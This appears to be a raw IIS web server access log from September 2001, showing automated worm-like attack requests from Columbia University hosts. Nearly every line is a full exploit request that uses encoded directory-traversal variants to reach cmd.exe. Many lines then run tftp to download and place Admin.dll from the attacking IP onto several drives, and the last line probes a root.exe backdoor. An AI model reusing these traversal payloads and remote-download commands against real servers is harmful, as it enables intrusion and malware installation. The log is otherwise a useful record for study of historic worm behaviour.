  10002. 20010919 09:40:01: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  10003. 20010919 09:40:01: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  10004. 20010919 09:40:01: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  10005. 20010919 09:40:01: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  10006. 20010919 09:40:01: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/Admin.dll HTTP/1.0"
  10007. 20010919 09:40:01: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/Admin.dll HTTP/1.0"
  10008. 20010919 09:40:01: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/Admin.dll HTTP/1.0"
  10009. 20010919 09:40:01: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10010. 20010919 09:40:01: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10011. 20010919 09:40:01: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10012. 20010919 09:40:01: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  10013. 20010919 09:40:01: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  10014. 20010919 09:40:01: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  10015. 20010919 09:40:02: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  10016. 20010919 09:40:02: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  10017. 20010919 09:40:02: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  10018. 20010919 09:40:02: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  10019. 20010919 09:40:02: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  10020. 20010919 09:40:02: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  10021. 20010919 09:40:03: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/Admin.dll HTTP/1.0"
  10022. 20010919 09:40:03: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/Admin.dll HTTP/1.0"
  10023. 20010919 09:40:03: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/Admin.dll HTTP/1.0"
  10024. 20010919 09:40:03: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10025. 20010919 09:40:03: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10026. 20010919 09:40:03: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10027. 20010919 09:40:03: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  10028. 20010919 09:40:03: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  10029. 20010919 09:40:03: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  10030. 20010919 09:40:03: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  10031. 20010919 09:40:03: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  10032. 20010919 09:40:03: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  10033. 20010919 09:40:03: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  10034. 20010919 09:40:03: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  10035. 20010919 09:40:03: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  10036. 20010919 09:40:03: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../Admin.dll HTTP/1.0"
  10037. 20010919 09:40:03: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../Admin.dll HTTP/1.0"
  10038. 20010919 09:40:03: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../Admin.dll HTTP/1.0"
  10039. 20010919 09:40:03: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10040. 20010919 09:40:03: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10041. 20010919 09:40:03: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10042. 20010919 09:40:03: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  10043. 20010919 09:40:03: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  10044. 20010919 09:40:03: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  10045. 20010919 09:40:04: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  10046. 20010919 09:40:04: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  10047. 20010919 09:40:04: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  10048. 20010919 09:40:04: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  10049. 20010919 09:40:04: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  10050. 20010919 09:40:04: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  10051. 20010919 09:40:04: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../Admin.dll HTTP/1.0"
  10052. 20010919 09:40:04: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../Admin.dll HTTP/1.0"
  10053. 20010919 09:40:04: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../Admin.dll HTTP/1.0"
  10054. 20010919 09:40:05: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10055. 20010919 09:40:05: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10056. 20010919 09:40:05: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10057. 20010919 09:40:05: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  10058. 20010919 09:40:05: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  10059. 20010919 09:40:05: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  10060. 20010919 09:40:05: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  10061. 20010919 09:40:05: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  10062. 20010919 09:40:05: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  10063. 20010919 09:40:05: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  10064. 20010919 09:40:05: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  10065. 20010919 09:40:05: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  10066. 20010919 09:40:05: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../Admin.dll HTTP/1.0"
  10067. 20010919 09:40:05: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../Admin.dll HTTP/1.0"
  10068. 20010919 09:40:05: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../Admin.dll HTTP/1.0"
  10069. 20010919 09:40:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10070. 20010919 09:40:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10071. 20010919 09:40:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10072. 20010919 09:40:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  10073. 20010919 09:40:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  10074. 20010919 09:40:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  10075. 20010919 09:40:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  10076. 20010919 09:40:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  10077. 20010919 09:40:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  10078. 20010919 09:40:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  10079. 20010919 09:40:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  10080. 20010919 09:40:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  10081. 20010919 09:40:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../Admin.dll HTTP/1.0"
  10082. 20010919 09:40:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../Admin.dll HTTP/1.0"
  10083. 20010919 09:40:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../Admin.dll HTTP/1.0"
  10084. 20010919 09:40:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10085. 20010919 09:40:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10086. 20010919 09:40:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10087. 20010919 09:40:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  10088. 20010919 09:40:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  10089. 20010919 09:40:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  10090. 20010919 09:40:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  10091. 20010919 09:40:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  10092. 20010919 09:40:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  10093. 20010919 09:40:07: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  10094. 20010919 09:40:07: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  10095. 20010919 09:40:07: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  10096. 20010919 09:40:07: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../Admin.dll HTTP/1.0"
  10097. 20010919 09:40:07: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../Admin.dll HTTP/1.0"
  10098. 20010919 09:40:07: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../Admin.dll HTTP/1.0"
  10099. 20010919 09:40:07: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10100. 20010919 09:40:07: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10101. 20010919 09:40:07: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10102. 20010919 09:40:07: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  10103. 20010919 09:40:07: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  10104. 20010919 09:40:07: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  10105. 20010919 09:40:07: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  10106. 20010919 09:40:07: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  10107. 20010919 09:40:07: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  10108. 20010919 09:40:15: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  10109. 20010919 09:40:15: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../Admin.dll HTTP/1.0"
  10110. 20010919 09:40:16: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10111. 20010919 09:40:16: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  10112. 20010919 09:40:16: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  10113. 20010919 09:40:16: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  10114. 20010919 09:40:16: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../Admin.dll HTTP/1.0"
  10115. 20010919 09:40:16: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10116. 20010919 09:40:16: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  10117. 20010919 09:40:16: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  10118. 20010919 09:40:16: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  10119. 20010919 09:40:16: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../Admin.dll HTTP/1.0"
  10120. 20010919 09:40:17: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10121. 20010919 09:40:17: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  10122. 20010919 09:40:17: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  10123. 20010919 09:40:17: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  10124. 20010919 09:40:17: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../Admin.dll HTTP/1.0"
  10125. 20010919 09:40:17: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10126. 20010919 09:40:17: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  10127. 20010919 09:40:17: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  10128. 20010919 09:40:17: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  10129. 20010919 09:40:17: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../Admin.dll HTTP/1.0"
  10130. 20010919 09:40:17: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10131. 20010919 09:40:18: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  10132. 20010919 09:40:18: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  10133. 20010919 09:40:18: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  10134. 20010919 09:40:18: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../Admin.dll HTTP/1.0"
  10135. 20010919 09:40:18: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  10136. 20010919 09:40:18: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  10137. 20010919 09:40:18: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  10138. 20010919 09:40:18: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.218.2%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  10139. 20010919 09:40:19: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../Admin.dll HTTP/1.0"
  10140. 20010919 09:40:19: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0"
